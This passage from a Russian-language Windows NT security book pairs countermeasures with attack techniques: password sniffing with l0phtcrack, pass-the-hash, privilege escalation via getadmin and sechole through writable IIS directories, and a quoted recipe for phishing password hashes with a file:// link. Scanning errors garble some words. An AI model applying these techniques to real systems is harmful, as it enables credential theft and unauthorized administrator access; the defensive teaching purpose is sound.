            Даже если никому и не удастся проникнуть в вашу сеть с помощью подбора пароля, так как вы установили библиотеку Passfilt или воспользовались утилитой Passprop, все равно имеет смысл отслеживать все неудачные попытки регистрации. Для этого выберите команду Policies>Audit в диалоговом окне диспетчера пользователей. При этом на экране появится диалоговое окно Audit Policy, представленное ниже.
            Журнал безопасности (Security Log), заполненный событиями с идентификаторами 529 или 539 (Logon/Logoff failure и Account Locked Out соответственно), свидетельствует о том, что система подвергается попытке автоматизированного взлома. В большинстве случае журнал позволяет даже установить компьютер, с которого производятся попытки взлома. На рис. 5.1 показано содержимое журнала безопасности после многочисленных неудачных попыток регистрации, предпринятых с помощью утилиты NAT.
            Вот подробные сведения о событии с идентификатором 539.
            Естественно, регистрация событий ничего не стоит, если не выполняется анализ журналов. Анализировать журналы вручную очень утомительно. К счастью, утилита Event Viewer позволяет фильтровать записи о событиях по дате, типу, источнику, категории, пользователю, компьютеру и идентификатору события.




            Рис. 5.1. Журнал безопасности с зарегистрированными неудачными попытками регистрации в сети, выполнявшимися с использованием утилиты NAT

            Если для управления журналами и их анализа вам требуется надежная утилита командной строки, позволяющая автоматизировать ее использование, обратите внимание на утилиту dumpel из пакета NTRK, NTLast компании NTObjectives (по адресу http://www.ntobjectives.com можно найти как бесплатно распространяемую, так и коммерческую версию) или DumpEvt от компании Somarsoft (бесплатную версию утилиты можно найти по адресу http://www.somarsoft.com).
            Утилита dumpel может обрабатывать журнал событий с удаленного сервера (при наличии соответствующих разрешений) и отфильтровывать до десяти идентификаторов событий одновременно. Например, с помощью dumpel можно извлечь неудачные попытки регистрации на локальном компьютере (событие 529). Для этого в командной строке нужно ввести следующую команду. С:\> dumpel -е 529 -f seclog.txt -1 security -m Security -t
            Утилита DumpEvt позволяет преобразовать весь журнал безопасности в формат, пригодный для импорта в базу данных Access или SQL. Однако эта утилита не предоставляет средств фильтрации событий.
            NTLast — это утилита командной строки Win32, которая выполняет поиск в локальных и удаленных журналах записей об интерактивных (interactive), удаленных (remote) и неудачных (fail) попытках регистрации. Кроме того, с ее помощью можно найти соответствующие друг другу пары событий регистрации/завершения сеанса (logon/logoff) для заданной учетной записи. Коммерческая версия утилиты NTLast позволяет также извлекать записи о неудачных попытках использования пароля для получения доступа к серверу IIS.

            Выявление вторжений в реальном времени



            После применения средств анализа журналов следующим этапом является реализация механизма оповещения о возможных нарушениях в реальном времени. Количество программных продуктов из так называемой категории систем выявления вторжений быстро возрастает, особенно для использования на платформе NT. Системы выявления вторжений, предназначенные для использования на компьютерах под управлением системы NT, представлены в табл. 5.2.
            Функциональные возможности этих продуктов варьируются в широком диапазоне, от простых средств анализа журналов, генерации оповещений (KSM) и мониторинга попыток взлома на уровне сетевого протокола (RealSecure) до полноценных систем выявления вторжений на уровне узла (Centrax). Так что при выборе той или иной системы внимательно ознакомьтесь с перечнем ее возможностей и выясните, сможет ли она решать возлагаемые на нее задачи.

            Таблица 5.2. Некоторые системы выявления вторжений для систем NT/2000

            Система выявления вторжений
            Разработчик
            BlackICE Pro
            Network ICE Corp.
            http://www.netice.com/
            Centrax
            Cybersafe Corp.
            http://www.cybersafe.com/
            CyberCop Server
            Network Associates, Inc.
            http://www.nai.com/
            Desktop Sentry
            NTObjectives
            http://www.nt objectives.com
            Intact
            Pedestal Software
            http: //www.pedestalsoftware.com/
            Intruder Alert (ITA)
            AXENT Technologies, Inc.
            http://www.axent.com
            Kane Security Monitor (KSM)
            Security Dynamics Technologies Inc.
            http://www.securitydynamics.com/
            RealSecure
            Internet Security Systems
            http://www.iss.net
            SeNTry
            Mission Critical
            http://www.miss ioncritical.com
            SessionWall-3
            Computer Associates/Platinum Technology 
            http://www.platinum.com/
            Tripwire for NT
            Tripwire, Inc.
            http://www.tripwiresecurity.com/

            К сожалению, обсуждение вопросов, связанных с выявлением вторжений, выходит за рамки данной кн7иги. Можем лишь подчеркнуть, что администраторы сети, обеспокоенные вопросами обеспечения безопасности, должны уделять этой технологии самое пристальное внимание — что может быть важнее, чем вовремя поступивший сигнал о возникшей в сети проблеме? Более подробная информация о выявлении вторжений, в том числе и сравнительные характеристики лучших программных продуктов этой категории, в настоящее время содержится в статье http://www.infoworld.com/cgi-bin/displayTC.pl7980504comp.htm.
            Подбор пароля — это нелегкая задача. Почему бы просто не перехватить ценную информацию при регистрации пользователей на сервере, а затем использовать ее по своему усмотрению? В тех редких случаях, когда взломщику удается перехватить обмен регистрационными данными, такой подход позволяет сэкономить значительную часть усилий, которые требуются в процессе подбора пароля. Для этого подойдут
            многие из уже рассмотренных утилит, однако можно воспользоваться и другим средством, специально предназначенным для этих целей. С такой утилитой вы уже хорошо знакомы: l0phtcrack, которую можно найти по адресу http: //www.10pht.com.

            Перехват паролей, передаваемых по сети



            Утилита l0phtcrack предназначена для подбора паролей NT, которая обычно используется для автономного взлома перехваченной базы данных паролей, т.е. без соединения с сервером. Такой подход позволяет, во-первых, не беспокоиться о возможной блокировке учетных записей при попытках подбора пароля, а во-вторых, организовать перебор сколь угодно большого количества вариантов. Получение файла паролей - довольно нетривиальная задача, поэтому этот вопрос, а также методы использования утилиты l0phtcrack более подробно будут рассмотрены в разделе "Взлом Паролей Nt".
            В последних версиях l0phtcrack имеется функция SMB Packet Capture, которая ранее была реализована в виде отдельной утилиты readsmb. С использованием этой функции можно обойтись без перехвата файла паролей, а вместо этого прослушать локальный сегмент сети, перехватить запросы на регистрацию, которыми обмениваются системы NT, а затем выбрать из них информацию о зашифрованных паролях. Затем выполняется алгоритм расшифровки, обратный тому, который используется при шифровании паролей в системе NT (этот процесс и называется взломом — cracking). На рис. 5.2 показан пример использования функции SMP Packet Capture для перехвата пересылаемых по сети паролей для их последующего взлома самой утилитой l0phtcrack.
            Некоторые читатели могут удивленно воскликнуть: ''Подождите. Разве в NT не реализован принцип аутентификации по запросу?" Это действительно так. В процессе аутентификации клиенты получают случайный запрос от сервера, который кодируется с помощью хэш-кода пароля пользователя в качестве ключа и в зашифрованном виде передается назад по сети. Затем сервер зашифровывает запрос с помощью своей собственной копии хэш-кода пароля пользователя (взятой из SAM-файла) и сравнивает его с полученным значением. Если значения совпадают, то процесс регистрации завершается успешно (более подробная информация о процессе аутентификации содержится в разделе Q102716 базы знаний). Значит, сам хэш-код пароля даже не передается по сети. Возникает вопрос: как в таком случае утилита l0phtcrack может его взломать?
            Очень просто, путем подбора в лоб. Из заголовка пакета утилита l0phtcrack получает только сам запрос и запрос, закодированный с помощью хэш-кода пароля. Затем выполняется кодирование известного значения запроса с помощью случайно генерируемых строк и результат сравнивается с полученным зашифрованным значением запроса. Эта процедура повторяется до тех пор, пока не будет найдена случайная строка, для которой результаты окажутся идентичными. Из-за несовершенства алгоритма вычисления хэш-кода LM (на самом деле этот хэш-код состоит из трех фрагментов, которые можно атаковать независимо друг от друга), процесс подбора занимает гораздо меньше времени, чем кажется на первый взгляд. Более подробная информация об этом содержится по адресу http: //www.10pht.com/10phtcrack/rant .html.
            Эффективность утилиты l0phtcrack при ее совместном использовании с функцией SMP Packet Capture настолько высока, что любой, кто не пожалеет времени для наблюдения за сетью, гарантированно сможет получить статус администратора в течение нескольких дней. Вы замечаете, как неумолимо бежит время?
            Даже если вы считаете, что вашу сеть защитит коммутируемая архитектура, не торопитесь с выводами. Например, взломщик может воспользоваться одним из методов социальной инженерии, описание которого можно найти в ответах на часто задаваемые вопросы (FAQ — Frequently Asked Questions) по использованию утилиты l0phtcrack (http://www.l0pht.com/l0phtcrack/faq.html).



            Рис. 5.2. Функция SMP Packet Capture утилиты lOphtcrack позволяет перехватывать пересылаемые по сети NT запросы на регистрацию для их последующего взлома с помощью lOphtcrack. В данном примере видно несколько систем, у которых значение NT Hash представлено нулями. Это означает, что данные системы работают под управ-,- лением Win 9x, которая не поддерживает алгоритма хэширования NT

            "Отправьте выбранной жертве почтовое сообщение (неважно, на личный адрес или же на общий адрес компании). В текст письма включите адрес URL в форме file:////ваш_компьютер/имя_совместно_ используемого_ресурса/сообщение.html. Как только получатель щелкнет на этом URL, его хэшированный пароль сразу же будет отправлен вам для аутентификации."

            При знакомстве с технологиями, подобными протоколу ARP (см. главу 10), вы увидите, что коммутируемые сети на самом деле не обеспечивают надежную защиту против перехвата паролей.

            Мастаки из LOpht даже умудрились смастерить утилиту, которая выуживает хэши-рованные пароли NT из потока данных, которыми обмениваются компьютеры при регистрации с использованием протокола РРТР (Point-to-Point Tunneling Protocol). В системе NT адаптированный вариант РРТР используется для организации частных виртуальных сетей (VPN — Virtual Private Network). Эта технология позволяет организовывать туннелирование потока данных для передачи информации по Internet с гарантированной защитой. По адресу http://www.l0pht.com/10phtcrack/donwload.html можно найти два анализатора сетевых пакетов: одна программа предназначена для работы в системе Solaris 2.4+ (написана L0pht), а вторая (ее автор — модератор бюллетеня Bugtrag, хакер Aleph One (Алеф Ван)) — в любой сети UNIX, в которой имеется библиотека перехвата пакетов libpcap. Кроме того, на этой же Web-странице имеется версия программы readsmb для UNIX, написанная Йоше Чангом (Jose Chung) из компании Basement Research.
            Если каким-то образом вам удалось завладеть пользовательским хэш-кодом (скажем, в результате перехвата пакетов SMB или копирования базы данных SAM системы NT), то почему бы не передать этот хэш-код прямо в операционную систему клиента, которая, в свою очередь, сможет использовать его при ответе на запрос в процессе аутентификации. Таким образом взломщик может пройти процедуру регистрации на сервере даже без знания пароля в явной форме, а лишь обладая нужным хэш-кодом и именем пользователя. Такой подход позволяет сэкономить много времени и сил, затрачиваемых на извлечение хэш-кода с помощью перехвата SMB-пакетов.

             Передача хэш-кода



            Пол Эштон (Paul Ashton) выдвинул идею модификации SMB-клиента сервера Samba системы UNIX, обеспечивающего совместный доступ к файлам (http://www.saniba.org) с целью реализации описанного выше приема. Исходный документ Пола можно найти в архивах бюллетеня NT Bugtraq по адресу http://www.ntbugtraq.com. Новые версии программы smbclient для системы UNIX позволяют зарегистрироваться на клиентских системах NT с использованием лишь хэш-кода.
            Технические подробности процесса передачи хэш-кода содержатся в статье Гернана Очоа (Heman Ochoa) из компании CORE-SDI. Из этой статьи можно узнать, как подсистема LSASS (Local Security Authority Subsystem) хранит информацию о сеансах регистрации и связанных с ними данными учетных записей. Гернан показал, как напрямую отредактировать эти данные в оперативной памяти и изменить регистрационную информацию незаметно для пользователя. Подтверждением работоспособности такого подхода может послужить рис. 5.3 (для обеспечения безопасности реальные имена были изменены).
            Однако подобные подходы не получили широкого распространения, поскольку справиться с данной задачей могут лишь программисты довольно высокой квалификации. Таким образом, риск атаки, основанной на отправке хэш-кода, невысок.



            Рис. 5.3. Программа, предназначенная для отправки хэш-кода

            Контрмеры: запрещение аутентификации в локальной сети



            В сервисном пакете Service Pack 4.0 была добавлена поддержка нового параметра системного реестра, призванного запретить узлу NT выполнять аутентификацию в локальной сети (с использованием хэш-кодов LM). Для того чтобы воспользоваться этой возможностью, нужно добавить параметр LMCompatibilityLevel со значением REG_DWCRD=4 к следующему ключу системного реестра. HKEY_LOCAL_MACHINE\System\CurrentControlSet\LSA
            Значение 4 запрещает контроллеру домена (DC — domain controller) принимать запросы на аутентификацию. Как объясняется в статье Q147706 базы знаний компании Microsoft, значения 4 и 5 зарезервированы для контроллеров доменов.
            К сожалению, любые клиенты низкого уровня не смогут пройти аутентификацию на контроллере домена, на котором установлен пакет Service Pack 4 и выполнены описанные выше действия (например, такими клиентами являются системы Windows 9x, Windows for Workgroups). Это объясняется тем, что модернизированная система аутентификации такого контроллера будет выполнять аутентификацию лишь с использованием кэш-кода NT. Более того, поскольку клиенты, не использующие систему Windows NT, не могут реализовать вычисление хэш-кода NT, они все равно будут отправлять по сети запросы на аутентификацию, содержащие значения хэш-кодов LM. Это сведет на нет все усилия, напрашгенные на защиту от перехвата SMB-пакетов. Вывод напрашивается сам собой: в составе домена не должно быть клиентских компьютеров, работающих под управлением старых версий Windows. Однако в большинстве компаний, использующих в сети системы с различными версиями Windows, такое решение вряд ли можно воплотить в жизнь.

            До появления сервисного пакета SP4 не было возможности запретить обработку хэш-кодов LМ на узле NT, используемых для аутентификации. Как следствие, такие узлы абсолютно не защищены от опасности перехвата SMB-пакетов.

            С выходом новой операционной системы Win 2000 компания Microsoft предоставила другую возможность передачи регистрационных данных по локальной сети клиентами Win Эх. Ее предоставляет клиент службы каталогов (DSClient — Directory Services Client), который можно найти на установочном компакт-диске системы Windows 2000 в папке Clients\win9x (файл Dsclient.exe). Теоретически пользователи Win 9x могут установить специальные параметры системного реестра и использовать более надежную защиту благодаря использованию хэш-кодов NT. В статье Q239869 описывается, как установить программу DSClient и настроить клиентов Win 9л: для использования протокола идентификации NTLM версии 2.

            Использование подписи SМВ



            Хотя полностью защититься от атак с использованием хэш-кодов нельзя, можно наложить некоторые ограничения на удаленную регистрацию в системе Windows с помощью подписи SMB (SMB signing). Такая возможность появится в системе NT, если на ней установить сервисный пакет SP3 или более поздний. Здесь мы упоминаем этот механизм исключительно для обеспечения полноты изложения. При использовании подписи SMB каждый пакет 8MB, передаваемый правильно настроенными клиентами и серверами NT, будет проверяться с применением криптографических методов. Это позволит предотвратить вставку в поток данных регистрации пакетов взломщика. Как и ранее, это решение годится только для Windows NT, так как клиенты Win 9x не поддерживают описанный выше механизм. Кроме того, как отмечается в статье Q161372 базы знаний Microsoft, посвященной режиму использования подписи SMB, активизация этого средства влечет за собой снижение производительности на 10-15 %.


            1.gif

            Изображение: 

            2.gif

            Изображение: 

            3.gif

            Изображение: 

            4.gif

            Изображение: 

            5.gif

            Изображение: 

            6.gif

            Изображение: 

            7.gif

            Изображение: 

            6. Удаленное проникновение: состояние DoS и переполнение буфера



            Удаленное проникновение: состояние DoS и переполнение буфера


            В этом разделе мы немного поговорим о том, как может разворачиваться ситуация в том случае, если взломщику не удастся подобрать пароль к интересующей его системе. В таких случаях у него есть несколько возможностей. Первая из них состоит в поиске скрытого недостатка архитектуры NT, которым можно было бы воспользоваться для удаленного проникновения и получения доступа к системе. Вторая заключается в генерации состояния DoS (DoS — отказ в обслуживании), — последней надежды неудачливого взломщика.

            Удаленное переполнение буфера



            О Windows NT ходят легенды, что в ней существуют многочисленные секретные "лазейки", с помощью которых можно получить статус администратора любой удаленной системы. На самом деле в настоящее время известно лишь несколько подобных недостатков, которые при определенных условиях могут дать подобный эффект, однако все они относятся к приложениям, а не к самой системе Windows NT. Чем это объясняется, то ли относительной "молодостью" NT, то ли архитектурой, заложенной в нее разработчиками Microsoft, — это спорный вопрос.
            С точки зрения удаленного проникновения самые тяжелые последствия способна вызвать ошибка переполнения буфера (buffer overflow). Более подробно переполнение буфера будет рассматриваться в главе 14, а сейчас для продолжения обсуждения достаточно сказать, что переполнение буфера возникает тогда, когда программы не способны адекватно отслеживать длину вводимых данных. В таких случаях избыточные данные записываются поверх части стека центрального процессора. Если это произойдет не случайно, а в результате передачи в качестве избыточных данных соответствующих команд, то новый код может привести к выполнению операций, подобранных высококвалифицированным программистом. Одной из наиболее значимых статей, посвященных проблеме переполнения буфера, является работа Алефа Вана (Aleph One) Smashing the stack for fan and profit. Ее можно найти по адресу http://phrack.infonexus.com/archive.html. К другим статьям о переполнении буфера системы Windows относятся Tao of Windows Buffer Overflow хакера Дилдога (Dildog), Win32 Buffer Overflows Барнаби Джека (Barnaby Jack) в Phrack 55, а также статьи членов группы CIS (Cerberus Information Security).
            Переполнение буфера можно отнести к одному из двух основных классов: удаленное и локальное. Для достижения локального переполнения требуется доступ к консоли, и его обычно могут осуществить лишь интерактивные пользователи. Удаленное переполнение буфера является гораздо более опасным. Такой возможностью могут воспользоваться взломщики, имеющие нулевые привилегии на целевом компьютере и находящиеся на любом узле сети. Как правило, удаленное переполнение буфера связано с размещением на целевой системе "полезного груза" (т.е. кода, помещенного в стек центрального процессора), что впоследствии позволяет взломщику удовлетворить практически любые свои желания. В табл. 5.3 приведены некоторые наиболее известные публикации об ошибках переполнения буфера системы NT и других программных продуктов компании Microsoft.
            Теоретически, учитывая огромный объем и сложность исходного кода Windows NT, в нем должно существовать довольно много изъянов подобного рода. Однако, как видно из табл. 5.3, между двумя изданиями этой книги практически не появилось новых хакерских программ, вызывающих переполнение буфера самой операционной системы NT/2000. В то же время, как видно из табл. 5.3, службы (IIS) и приложения (Outlook) системы Windows являются достаточно уязвимыми. Поэтому не стоит рассчитывать на абсолютную защищенность операционной системы: все возрастающий поток исследований проблемы переполнения буфера Win32 в любой момент может привести к прорыву обороны.

            Таблица 5.3. Некоторые публикации о выявленных ошибках переполнения буфера Windows

            Мишень и разработчики программы взлома
            Адрес URL
            Принцип действия
            Netmeeting 2x, группа хакеров Cult of the Dead Cow (cDc)
            http://www.cultdeadcow.com/ cDc_files/cDc-351
            Проверка концепции, сводящаяся к загрузке графического файла с узла cDc
            NT RAS, группа Cerberus Information Security (CIS)
            http://www. infowar.co.uk/ mnemonix/ntbufferoverruns.htm
            Открытие окна командной строки с привилегиями System
            winhlp32, группа CIS
            http://www.infowar.со.uk/ mnemonix/ntbufferoverruns.htm
            Запуск командного файла с привилегиями System
            IISHack, компания еЕуе
            http://www.eeye.com
            Выполнение заданного кода на Web-сервере, работающем под управлением NT US
            Oracle Web Listener 4.0, группа CIS
            http://www.cerberus-infosec. co.uk/advowl.html
            Удаленное выполнение команды с привилегиями System
            Outlook GMT, лаборатория Underground Security Systems Research (USSR)
            http: //www.ussrback.com/labs50.html
            Переполнение буфера за счет выполнения заданного кода при синтаксическом анализе электронного сообщения

            Контрмеры: защита от переполнения буфера



            Лучшим ответом на атаки с применением переполнения буфера является профессиональное программирование. Упоминавшиеся выше статьи предоставляют опытному программисту некоторые идеи, реализация которых позволит избежать подобной угрозы при написании приложений (при их изучении пригодится знание языка С и низкоуровневого языка программирования Assembler). Однако поскольку создание программных продуктов, подобных системе Windows, выполняется практически без непосредственного участия пользователей, то ответственность за устранение выявленных проблем должна ложиться на плечи группы разработчиков.
            Для разрешения проблемы переполнения буфера могут использоваться различные программные продукты. Одним из самых новых средств этой категории является программа BOWall Андрея Колишака (Andrey Kolishak). Программа BOWall предотвращает переполнение буфера двумя способами.

            •  Замещает библиотеки DLL их двоичными копиями, в которые включены процедуры мониторинга вызовов потенциально уязвимых функций (например, strcpy, wstrcpy, strncpy, wstrncpy, strcat, wcscat, strncat, wstrncat, memcpy, memmove, sprintf, swprintf, scanf, wscanf, gets, getws, fgets, fgetws). После этого вызовы таких функций проверяются на предмет целостности возвращаемого адреса стека (stack return address).
            •  Ограничивает выполнение функций динамических библиотек из сегмента данных и стека (data and stack memory).

            Замещение системных динамически подключаемых библиотек для предотвращения переполнения буфера является несколько кардинальным, однако все же такой подход, очевидно, достоин внимания.
            Программа eNTercept от компании ClickNet Software Corp. представляет собой систему предотвращения вторжений, которая может использоваться в качестве оболочки ядра системы NT, которая обеспечивает мониторинг всех вызовов. Это приложение хорошо подходит для выявления и предотвращения известных атак, направленных на переполнение буфера.
            По адресу http://immunix.org/ можно получить улучшенную версию компилятора GNU С (gcc) StackGuard. С его помощью можно генерировать исполняемые файлы, которые более устойчивы к разрушению стека, чем обычные программы. Это достигается путем помещения слова-признака (canary word) за адресом возврата при вызове функции. Если после завершения выполнения функции это слово-признак оказалось другим, значит, была предпринята попытка переполнения буфера. При этом программа, скомпилированная с помощью StackGuard, помещает соответствующую запись в системный журнал. Поскольку в рассмотренном случае требуется использование компилятора gcc, то описанный подход неприменим в системе NT. Однако, возможно, некоторые из читателей все же будут вдохновлены...
            Впоследствии для устранения подобных атак потребуются кардинальные изменения в программных моделях (например, язык Java, в котором отсутствуют внутренние структуры, затрагиваемые при этом) или в самой архитектуре центральных процессоров.

             Отказ в обслуживании (DoS)



            Атаки, приводившие к генерации состояния DoS, были чрезвычайно популярны в 1997-1998 годах, что объясняется появлением многочисленных утилит, предназначенных для повреждения стека TCP/IP на самых различных платформах. Некоторые из них были направлены исключительно на систему Windows. Мы не будем тратить время на описание всех используемых при этом недостатков реализации стека протоколов TCP/IP, поскольку все они уже устранены в пакетах обновления. Кроме того, обсуждению атак DoS посвящена целая глава (см. главу 11, а также часть главы 4, где были рассмотрены методы предотвращения подобных угроз для платформы Win 9х).
            Генерация состояния отказа в обслуживании не всегда преследует цель вызвать раздражение сетевого администратора. Зачастую такой подход используется для того, чтобы добиться перезагрузки системы и автоматического запуска требуемых утилит. Как вы увидите позднее, изучение кода многочисленных файлов загрузки Windows NT является одним из эффективных методов проникновения в систему.

             Контрмеры: предотвращение состояния DоS



            Установка самого последнего сервисного пакета (при написании книги — версии 6А) позволяет защитить систему NT от большинства известных способов генерации состояния DoS. Кроме того, следите также за появлением промежуточных пакетов обновления, особенно, если они относятся непосредственно к стеку протоколов TCP/IP систем NT/2000, tcpip.sys. (Естественно, обновление используемой операционной системы до Win 2000 позволяет достигнуть того же результата.) Многие серьезные атаки DoS, связанные с применением средств land, newtear и ООВ, стали недоступными после установки промежуточных пакетов обновления, появившихся после SP3. Конечно, обновление до Win 2000 представляет собой самый лучший сервисный пакет, в котором нашли отражение все выпущенные ранее пакеты обновления.

            Для получения более подробной информации о ключах системного реестра, с помощью которых от атак DoS можно защитить серверы Internet под управлением Windows, читайте главу 6.

            Мы рекомендуем познакомиться также с другими программными продуктами, направленными на предотвращение атак DoS на стек TCP/IP, таких как teardrop, land, OOB и т.д. Они подробно рассматриваются в главе 12.
            Модули обновления, появившиеся после сервисного пакета SP3, позволяют устранить угрозу атак DoS с применением таких средств, как snork и пгрс (обоим утилитам требуется доступ к портам с номерами 135-139).
            Теперь снова вернемся к обсуждению приемов получения статуса администратора.

            Расширение привилегий



            Предположим, что попытка подбора пароля увенчалась успехом — в ваших руках регистрационное имя и связанный с ним пароль пользователя интересующего вас сервера NT, не имеющего прав администратора. В мире NT шаг, заключающийся в получении доступа к системе в качестве одного из ее пользователей, несмотря на всю его сложность, является сравнительно простым. Последующие шаги потребуют гораздо больших знаний, изобретательности и везения. Так, например, существуют средства, позволяющие расширить полномочия, соответствующие пользовательской учетной записи. Однако, как уже отмечалось, этим средствами нельзя воспользоваться, обладая правами лишь обычного пользователя NT, так как такой пользователь по умолчанию не имеет права интерактивной регистрации. Однако если системный администратор допустил несколько серьезных промахов, с помощью этих средств взломщик сможет расширить свои полномочия.
            В этом разделе мы приведем основные принципы расширения полномочий учетной записи обычного пользователя до уровня учетной записи Administrator. В ходе рассмотрения мы коснемся также некоторых возможностей по использованию тех или иных средств для выполнения несанкционированных операций как с удаленного компьютера, так и с локальной консоли.

            Сбор информации



            Если взломщику удалось завладеть учетной записью пользователя, не обладающего правами администратора, то единственной реальной возможностью, которой ему осталось воспользоваться, является дальнейший сбор информации, которая позволит расширить привилегии. В процессе сбора таких данных используются многие методы инвентаризации, которые уже упоминались в главе 3. Анализируя все полученные сведения, взломщик может получить доступ к критичным ресурсам. Вот некоторые из средств и приемов для сбора важных данных.

            •  Утилита srvinfo из набора NTRK может использоваться для поиска совместно используемых ресурсов. При этом важными источниками информации являются папки %systemroot%system32 и \repair, а также доступные для записи папки Web- или FTP-сервера.
            •  Стандартная утилита поиска системы Windows может использоваться для поиска строка вида password в файлах .bat или файлах сценариев.
            •  Утилиту regdmp из набора NTRK или команда Connect Network Registry редактора системного реестра можно попробовать применить для получения доступа к различным частям системного реестра.

            Этот процесс высасывания (hoovering) информации из всех "закоулков" получил свое определение в английском языке по названию производителя популярных пылесосов.

            Контрмеры: защита от сбора информации



            Для проверки степени защищенности системы от деятельности подобного рода лучше всего попробовать выполнить описанные действия самостоятельно. Для этого зарегистрируйтесь на удаленном компьютере под именем обычного пользователя и проверьте, удастся ли такому пользователю выполнить описанные выше операции. Автоматизировать процесс поиска можно с использованием команд find и findstr системы NT.
            Далее мы опишем некоторые механизмы, с помощью которых взломщик может добавить себя в группу Administrators.

            Утилита getadmin



            getadmin — это небольшая программа, написанная Константином Соболевым (Konstantin Sobolev), которая добавляет пользователя в локальную группу Administrators. Она использует низкоуровневую процедуру ядра NT для установки глобального флага, позволяющего получить доступ к любому запущенному процессу, а затем с помощью приема, называемого внедрение в DLL (DLL injection), вставить специальный исполняемый код в какой-нибудь процесс, который обладает привилегией добавления пользователей в группу Administrators. (Как правило, в качестве такого процесса выбирается winlogon, который использует учетную запись System). Более подробная информация об утилите getadmin и ее исполняемый код можно найти по адресу http://www.ntsecurity.net/security/getadmin.htm.
            Мощь утилиты getadmin несколько затмевает тот факт, что она должна быть запущена локально. Поскольку большинство пользователей по умолчанию не могут зарегистрироваться на сервере NT локально, эта утилита, как правило, может помочь только в создании фиктивных членов различных встроенных групп Operators (Account, Backup, Server и т.д.) и используемой по умолчанию учетной записи сервера Internet IUSR._имя_машины при наличии соответствующих привилегий. Однако если злоумышленники уже имеют такой уровень привилегий на вашем сервере, то утилита getadmin не сможет усугубить ситуацию, так как они и без ее помощи имеют доступ ко всем требуемым ресурсам.
            Утилита getadmin запускается из командной строки следующим образом: getadmin имя_пользователя. Прежде чем воспользоваться полученными привилегиям, новый пользователь, добавленный в группу Administrators, сначала должен завершить текущий сеанс работы. (Для того чтобы убедиться, что пользователь получил права администратора, достаточно попробовать запустить утилиту windisk. Это сможет осуществить только член группы Administrators.)

            Контрмеры: защита от использования ynunnugetadmin



            Изъян, на котором основывается принцип работы утилиты getadmin, исправлен в дополнительном модуле обновления к сервисному пакету SP 3. Этот модуль входит также во все впоследствии выпущенные сервисные пакеты. Согласно некоторым источникам, модернизированная версия утилиты getadmin, названная crash4, способна обойти исправления, если она будет запушена перед getadmin. Однако нет каких-либо подтверждений, что этот прием является работоспособным.
            В связи с тем, что для выполнения большинства потенциально опасных операций в системе NT на удаленном компьютере требуются привилегии администратора, извлечь какую-то пользу из применения getadmin при удаленном подключении достаточно проблематично. Для этого необходимо совпадение двух событий: взломщик должен иметь доступ к какому-нибудь каталогу, открытому для записи, а также право выполнения программ, содержащихся в этом каталоге. Как можно добиться такого результата, вы узнаете чуть ниже.

            Утилита sechole



            Утилита sechole предоставляет те же возможности, что и getadmin: она добаштяет текущего пользователя в локальную группу администраторов. Обновленная версия этой утилиты secholed помещает пользователя в группу администраторов домена.) Однако для выполнения тех же действий, что и getadmin, эта утилита использует другие механизмы. Как отмечают Прасад Дабак (Prasad Dabak), Сандип Фадк (Sandeep Phadke) и Милинд Бора (Milind Borate), sechole модифицирует в оперативной памяти код вызова процедуры OpenProcess, и это позволяет ей успешно подключаться к привилегированному процессу, независимо от того, имеет ли она для этого соответствующие разрешения. После успешного подключения она работает так же, как и утилита getadmin, выполняя код внутри процесса-носителя, и добавляет текущего пользователя в указанную группу Administrators. Полный код и подробное описание можно найти на Web-узле NT Security по адресу http://www.ntsecurity.net/security/sechole.htm.
            Подобно getadmin, утилита sechole должна быть запущена локально. Однако, если на целевом узле запущен сервер IIS компании Microsoft и, кроме этого, выполняются и некоторые дополнительные условия, sechole можно запустить и удаленно, добавив используемую по умолчанию учетную запись пользователя Internet 1изк_имя_машины в группу Administrators или Domain Admins. Вот описание того, как это можно осуществить.

            Удаленный запуск утилиты sechole



            Рассмотрим пример применения основного подхода, используемого при нападении на Web-серверы, который в различных формах применяется в Internet. Успешность такой атаки зависит от того, существует ли каталог US-сервера, доступный для записи и запуска программ. К счастью, компания Microsoft "предоставила" много каталогов с такими разрешениями, используемыми по умолчанию.
            Виртуальные каталоги сервера 1IS, представленные в табл. 5.4, помечены как доступные для выполнения. Соответствующие им физические каталоги (также перечисленные в табл. 5.4.) по умолчанию имеют разрешения Read, Write, Execute и Delete (RWXD).
            После анализа заданных по умолчанию разрешений становится очевидно, что сервером может быть выполнен любой ложный исполняемый файл, расположенный в любом из этих каталогов. У взломщика имеется лишь одно препятствие: удаленно поместить в какой-либо из этих каталогов требуемый исполняемый файл.
            На самом деле это совсем не трудно, как может показаться на первый взгляд. Для этих целей можно воспользоваться открытыми для совместного использования разделами жесткого диска, неудачно организованными каталогами FTP, которые перекрывают каталоги, представленные в табл. 5.4. Для решения поставленной задачи можно воспользоваться также недостаточно защищенными командами удаленного управления (например, telnet), методами PUT протокола HTTP или даже средствами авторизации в Web, предоставляемыми приложением FrontPage.
            Предположим, что взломщику удалось воспользоваться какой-нибудь из перечисленных возможностей и успешно загрузить утилиту sechole и связанные с ней библиотеки DLL в один из каталогов, представленных в табл. 5.4. И что теперь? Поскольку эта программа запускается из командной строки, то взломщику необходимо поместить в тот же каталог и командный интерпретатор (в системе NT командный интерпретатор, cmd.exe, находится в каталоге %windir%\system32).

            Таблица 5.4. Виртуальные каталоги сервера US, имеющие по умолчанию разрешения Execute, к соответствующие им физические каталоги

            Виртуальный каталог
            Физическое расположение
            /W3SVC/l/ROOT/msadc
            C \program f iles\common\system\msadc
            / W3 SVC /1/ROOT/News
            C \InetPub\News
            /W3SVC/l/ROOT/Mail
            C \InetPub\Mail
            /W3 SVC/1/ROOT/ cgi -bin
            C \InetPub\wwwroot\cgi-bin
            /W3 SVC/1/ROOT/ scripts
            C \InetPub\scripts
            /W3SVC/1/ROOT/ iisadmpwd
            С \WINNT\System32\inetsrv\iisadmpwd
            /W3SVC/l/ROOT/_vti_bin
            (Отсутствует, если не установлены расширения FrontPage)
            /W3SVC/l/ROOT/_vti_bin/ vti_adm
            (Отсутствует, если не установлены расширения FrontPage)
            /W3SVC/l/ROOT/_vti_bin/_vti_aut
            (Отсутствует, если не установлены расширения FrontPage)

            Однако не будем торопиться. Выше уже упоминалось, что утилита sechole добавляет пользователя в локальную или доменную группу администраторов. Если же она была запущена посредством Web-броузера, то в группу администраторов будет добавлена учетная запись 1изп_имя_машины. А это не очень хорошо, поскольку этой учетной записи назначается случайный пароль, который взломщику придется подбирать при удаленной регистрации. Как же в группе администраторов создать новую учетную запись пользователя с паролем, который выбрал сам взломщик? Это просто осуществить с помощью встроенной команды net localgroup. Создайте простой командный файл (например, с именем adduser.bat) со следующей строкой:
